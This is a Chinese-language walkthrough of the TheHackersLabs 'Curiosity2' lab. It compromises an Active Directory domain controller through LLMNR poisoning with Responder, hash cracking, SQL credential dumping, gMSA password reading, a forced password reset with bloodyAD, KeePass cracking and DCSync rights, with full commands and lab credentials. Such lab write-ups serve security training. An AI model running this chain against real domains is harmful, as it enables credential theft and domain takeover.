Curiosity2

https://labs.thehackerslabs.com/machine/103

Recon

PortScan

nmap 端口扫描

➜  Curiosity2 nmap -sT -min-rate 10000 -p- 192.168.56.116 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-19 19:40 CST
Warning: 192.168.56.116 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.56.116
Host is up (0.00030s latency).
Not shown: 64872 closed tcp ports (conn-refused), 638 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49684/tcp open  unknown
49685/tcp open  unknown
49689/tcp open  unknown
49693/tcp open  unknown
49704/tcp open  unknown
57936/tcp open  unknown
60031/tcp open  unknown
MAC Address: 08:00:27:06:86:F8 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

➜  Curiosity2 nmap -sT -A -p $(cat port | awk -F '/' '{print $1}' | paste -sd ',') 192.168.56.116
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-19 19:41 CST
Nmap scan report for 192.168.56.116
Host is up (0.00086s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-19 11:41:37Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: cons.thl, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=WIN-C73PROQLRHL.cons.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:WIN-C73PROQLRHL.cons.thl
| Not valid before: 2024-10-11T16:05:23
|_Not valid after:  2025-10-11T16:05:23
|_ssl-date: 2025-07-19T11:42:41+00:00; 0s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cons.thl, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=WIN-C73PROQLRHL.cons.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:WIN-C73PROQLRHL.cons.thl
| Not valid before: 2024-10-11T16:05:23
|_Not valid after:  2025-10-11T16:05:23
|_ssl-date: 2025-07-19T11:42:41+00:00; 0s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cons.thl, Site: Default-First-Site-Name)
|_ssl-date: 2025-07-19T11:42:41+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=WIN-C73PROQLRHL.cons.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:WIN-C73PROQLRHL.cons.thl
| Not valid before: 2024-10-11T16:05:23
|_Not valid after:  2025-10-11T16:05:23
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cons.thl, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=WIN-C73PROQLRHL.cons.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:WIN-C73PROQLRHL.cons.thl
| Not valid before: 2024-10-11T16:05:23
|_Not valid after:  2025-10-11T16:05:23
|_ssl-date: 2025-07-19T11:42:41+00:00; 0s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49684/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49685/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  msrpc         Microsoft Windows RPC
49693/tcp open  msrpc         Microsoft Windows RPC
49704/tcp open  msrpc         Microsoft Windows RPC
57936/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info:
|   192.168.56.116\SQLEXPRESS:
|     Instance name: SQLEXPRESS
|     Version:
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|     TCP port: 57936
|_    Clustered: false
|_ssl-date: 2025-07-19T11:42:41+00:00; 0s from scanner time.
| ms-sql-ntlm-info:
|   192.168.56.116\SQLEXPRESS:
|     Target_Name: CONS
|     NetBIOS_Domain_Name: CONS
|     NetBIOS_Computer_Name: WIN-C73PROQLRHL
|     DNS_Domain_Name: cons.thl
|     DNS_Computer_Name: WIN-C73PROQLRHL.cons.thl
|_    Product_Version: 10.0.14393
| ssl-cert: Subject: commonName=WIN-C73PROQLRHL.cons.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:WIN-C73PROQLRHL.cons.thl
| Not valid before: 2024-10-11T16:05:23
|_Not valid after:  2025-10-11T16:05:23
60031/tcp open  msrpc         Microsoft Windows RPC
MAC Address: 08:00:27:06:86:F8 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 2016|2019
OS CPE: cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_server_2019
OS details: Microsoft Windows Server 2016 or Server 2019
Network Distance: 1 hop
Service Info: Host: WIN-C73PROQLRHL; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-07-19T11:42:32
|_  start_date: 2025-07-19T18:29:12
|_nbstat: NetBIOS name: WIN-C73PROQLRHL, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:06:86:f8 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

TRACEROUTE
HOP RTT     ADDRESS
1   0.86 ms 192.168.56.116

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 83.59 seconds

枚举测试

测试 SMB 匿名账户

➜  Curiosity2 nxc smb cons.thl -u anonymous -p ''                                                             
SMB         192.168.56.116  445    WIN-C73PROQLRHL  [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-C73PROQLRHL) (domain:cons.thl) (signing:True) (SMBv1:False) 
SMB         192.168.56.116  445    WIN-C73PROQLRHL  [-] cons.thl\anonymous: STATUS_LOGON_FAILURE

再看一眼 wireshark ，依旧有 LLMNR包，并且从数据包可以看出来是在查询 SQLserver

Responder

我们开启 Responder 不一会就就能抓到 HASH

开局的思路和Curiosity差不多

我们尝试将HASH进行爆破

hashcat -m 5600 hash /usr/share/seclists/Passwords/seasons.txt

得到密码au7umn@

测试凭据

➜  Curiosity2 nxc smb cons.thl -u sqldb -p 'au7umn@'
SMB         192.168.56.116  445    WIN-C73PROQLRHL  [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-C73PROQLRHL) (domain:cons.thl) (signing:True) (SMBv1:False) 
SMB         192.168.56.116  445    WIN-C73PROQLRHL  [+] cons.thl\sqldb:au7umn@ 

➜  Curiosity2 nxc ldap cons.thl -u sqldb -p 'au7umn@'
LDAP        192.168.56.116  389    WIN-C73PROQLRHL  [*] Windows 10 / Server 2016 Build 14393 (name:WIN-C73PROQLRHL) (domain:cons.thl)
LDAP        192.168.56.116  389    WIN-C73PROQLRHL  [+] cons.thl\sqldb:au7umn@ 

➜  Curiosity2 nxc winrm cons.thl -u sqldb -p 'au7umn@'
WINRM       192.168.56.116  5985   WIN-C73PROQLRHL  [*] Windows 10 / Server 2016 Build 14393 (name:WIN-C73PROQLRHL) (domain:cons.thl)
  arc4 = algorithms.ARC4(self._key)
WINRM       192.168.56.116  5985   WIN-C73PROQLRHL  [+] cons.thl\sqldb:au7umn@ (Pwn3d!)

脱库

根据用户名，该用户应该是对数据库有一定权限

*Evil-WinRM* PS C:\Users\sqldb\DEsktop> sqlcmd -S "localhost\SQLEXPRESS" -Q "SELECT @@VERSION"

------------------------------------------------------------------------------
Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
        Sep 24 2019 13:48:23
        Copyright (C) 2019 Microsoft Corporation
        Express Edition (64-bit) on Windows Server 2016 Datacenter 10.0 <X64> (Build 14393: ) (Hypervisor)

(1 rows affected)

*Evil-WinRM* PS C:\Users\sqldb\DEsktop> sqlcmd -S "localhost\SQLEXPRESS" -Q "SELECT name FROM sys.databases"
name
--------------------------------------------------------------------------------------------------------------------------------
master
tempdb
model
msdb
CredentialsDB
toolsdb

(6 rows affected)

*Evil-WinRM* PS C:\Users\sqldb\DEsktop> sqlcmd -S "localhost\SQLEXPRESS" -Q "USE CredentialsDB;SELECT name FROM sys.tables"
Changed database context to 'CredentialsDB'.
name
--------------------------------------------------------------------------------------------------------------------------------
Credentials

(1 rows affected)

*Evil-WinRM* PS C:\Users\sqldb\DEsktop> sqlcmd -S "localhost\SQLEXPRESS" -Q "USE CredentialsDB;SELECT * FROM Credentials"
Changed database context to 'CredentialsDB'.
ID          Username                                           Password
----------- -------------------------------------------------- -------------------------------------------------------------
          1 sqlsvc                                             a6d888301de7aa3b380a691d32837627

(1 rows affected)

*Evil-WinRM* PS C:\Users\sqldb\DEsktop> sqlcmd -S "localhost\SQLEXPRESS" -Q "USE toolsdb;SELECT name FROM sys.tables"
Msg 916, Level 14, State 2, Server WIN-C73PROQLRHL\SQLEXPRESS, Line 1
The server principal "CONS\sqldb" is not able to access the database "toolsdb" under the current security context.

拿到 sqlsvc 的密码MD5值，拿去破解，还可以发现

得到密码 $PRING2021#

➜  Curiosity2 john --wordlist=/usr/share/seclists/Passwords/seasons.txt --format=Raw-MD5 hash
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
$PRING2021#      (?)     
1g 0:00:00:00 DONE (2025-07-19 20:11) 50.00g/s 19200p/s 19200c/s 19200C/s $pr1ng..$umm3r2021%
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

测试sqlsvc的凭据

➜  Curiosity2 nxc winrm cons.thl -u sqlsvc -p '$PRING2021#'
WINRM       192.168.56.116  5985   WIN-C73PROQLRHL  [*] Windows 10 / Server 2016 Build 14393 (name:WIN-C73PROQLRHL) (domain:cons.thl)
  arc4 = algorithms.ARC4(self._key)
WINRM       192.168.56.116  5985   WIN-C73PROQLRHL  [+] cons.thl\sqlsvc:$PRING2021# (Pwn3d!)
➜  Curiosity2 nxc ldap cons.thl -u sqlsvc -p '$PRING2021#'
LDAP        192.168.56.116  389    WIN-C73PROQLRHL  [*] Windows 10 / Server 2016 Build 14393 (name:WIN-C73PROQLRHL) (domain:cons.thl)
LDAP        192.168.56.116  389    WIN-C73PROQLRHL  [+] cons.thl\sqlsvc:$PRING2021# 
➜  Curiosity2 nxc smb cons.thl -u sqlsvc -p '$PRING2021#'
SMB         192.168.56.116  445    WIN-C73PROQLRHL  [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-C73PROQLRHL) (domain:cons.thl) (signing:True) (SMBv1:False) 
SMB         192.168.56.116  445    WIN-C73PROQLRHL  [+] cons.thl\sqlsvc:$PRING2021#

KeePass - 1

使用WinRM登陆上去后，目录中有一个Database.kdbx

是KeePass的文件

*Evil-WinRM* PS C:\Users\sqlsvc\Documents> ls

    Directory: C:\Users\sqlsvc\Documents

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       10/31/2024   6:23 PM           2231 Database.kdbx

我们尝试一下使用KeePass 来打开，需要密码

没有密码，先放着

横向移动

域分析

上 BloodHound

用户很多，所以这里直接筛选了远程管理组（REMOTE MANAGMENT US）的用户

能发现 SQLSVC 能直接修改 GMSA_SQL的密码

然后 GMSA_SQL 还可以修改 TOOLSDB （上边有一个同名数据库，我们无权限访问）的密码

总结起来就是

To Toolsdb

首先读取 gMSA的密码

➜  gMSADumper python gMSADumper.py -u sqlsvc -p '$PRING2021#' -d cons.thl  
Users or groups who can read password for GMSA_SQL$:
 > Svc_Accounts
GMSA_SQL$:::0960ee1575670e65d189eb6e685713ca
GMSA_SQL$:aes256-cts-hmac-sha1-96:ba95bac751b094ed71a42fcb7c4c1b34c5bdea75e47054744fa5b11863be0ea0
GMSA_SQL$:aes128-cts-hmac-sha1-96:e74d4f008426bf3fe930d12485d3f212

再通过 GMSA_SQL 修改 TOOLSDB 的密码

➜  Curiosity2 bloodyAD -d 'cons.thl' -u 'GMSA_SQL$' -p :0960ee1575670e65d189eb6e685713ca --dc-ip 192.168.56.116 set password 'TOOLSDB' 'Password@123'
[+] Password changed successfully!

测试凭据

➜  Curiosity2 nxc smb cons.thl -u TOOLSDB -p 'Password@123'
SMB         192.168.56.116  445    WIN-C73PROQLRHL  [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-C73PROQLRHL) (domain:cons.thl) (signing:True) (SMBv1:False) 
SMB         192.168.56.116  445    WIN-C73PROQLRHL  [+] cons.thl\TOOLSDB:Password@123

To Msol & KeePass - 2

我们登陆上toolsdb ，并用数据库脱 toolsdb 的数据

*Evil-WinRM* PS C:\Users\toolsdb\Desktop> sqlcmd -S "localhost\SQLEXPRESS" -Q "USE toolsdb;select name from sys.tables"
Changed database context to 'toolsdb'.
name
--------------------------------------------------------------------------------------------------------------------------------
users

(1 rows affected)

*Evil-WinRM* PS C:\Users\toolsdb\Desktop> sqlcmd -S "localhost\SQLEXPRESS" -Q "USE toolsdb;select * from users"
Changed database context to 'toolsdb'.
id          username                                           password
----------- -------------------------------------------------- --------------------------------------------------
          1 user_6B482050                                      433129A1!@1
          2 user_47F7501A                                      64409A1C!@1
          3 user_515A0C58                                      CAD616E3!@1
          4 user_CA843BF2                                      731C60AD!@1
          5 user_AA2B9FF8                                      8E181E5F!@1
          6 user_F6E6A108                                      47862562!@1
          7 user_8D56BAE8                                      425B6335!@1
          8 user_BA9B1295                                      E4FC1AC4!@1
          9 user_66B7DBEE                                      4EE216A3!@1
         10 user_E75B7C23                                      4CD89A92!@1

(10 rows affected)

给了一组密码，感觉是 KeePass 文件的密码

433129A1!@1
64409A1C!@1
CAD616E3!@1
731C60AD!@1
8E181E5F!@1
47862562!@1
425B6335!@1
E4FC1AC4!@1
4EE216A3!@1
4CD89A92!@1

最后使用8E181E5F!@1成功解密

得到用户 MSOL 用户密码 YRax2Ry8g2ITQ3hpRPze

测试凭据

➜  Curiosity2 nxc smb cons.thl -u MSOL -p 'YRax2Ry8g2ITQ3hpRPze'
SMB         192.168.56.116  445    WIN-C73PROQLRHL  [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-C73PROQLRHL) (domain:cons.thl) (signing:True) (SMBv1:False) 
SMB         192.168.56.116  445    WIN-C73PROQLRHL  [+] cons.thl\MSOL:YRax2Ry8g2ITQ3hpRPze

To Administrator

查看权限，oiiaioiiiai

我们对域有GetChangeAll

直接Dump

读取 user.txt 和 root.txt

*Evil-WinRM* PS C:\Users\appolonia\Documents> cat User.flag.txt
de4xxxxxxxxxxxxxxxxxxxx

*Evil-WinRM* PS C:\Users\Administrator\Documents> cat root.flag.txt
372xxxxxxxxxxxxxxxxxxxx

总结

没有卡点，酣畅淋漓，一把梭哈

现在就Curiosity3把我卡住了

TheHackersLabs - Curiosity2